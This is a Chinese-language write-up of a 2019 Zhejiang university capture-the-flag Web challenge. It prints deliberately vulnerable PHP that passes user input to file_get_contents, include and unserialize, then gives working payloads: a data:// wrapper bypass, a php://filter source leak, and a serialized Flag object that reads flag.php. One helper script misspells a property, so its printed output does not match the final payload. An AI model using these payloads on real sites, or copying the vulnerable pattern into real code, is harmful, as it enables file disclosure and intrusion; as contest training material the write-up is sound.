2019-Web-逆转思维-WP

这是浙江省大学生网络与信息安全竞赛-决赛-2019-Web-逆转思维的题解

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

首先先过第一个if 就是text得是 welcome to the zjctf 直接data伪协议也可以直接用php://input绕过
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?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

然后过第二个if

提示有useless.php 直接 php://filter读取一下

&file=php://filter/read=convert.base64-encode/resource=useless.php
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- 得到`base64`

  - ```
    PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
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- 构造序列化

- ```php
  <?php  
  
  class Flag{  //flag.php  
      public $file;  
      public function __tostring(){  
          if(isset($this->file)){  
              echo file_get_contents($this->file); 
              echo "<br>";
          return ("U R SO CLOSE !///COME ON PLZ");
          }  
      }  
  }  
  $a = new Flag();
  $a -> flile = 'flag.php';
  echo(serialize($a));
  ?>

O:4:"Flag":2:{s:4:"file";N;s:5:"flile";s:8:"flag.php";} 

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- ```php
  /?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}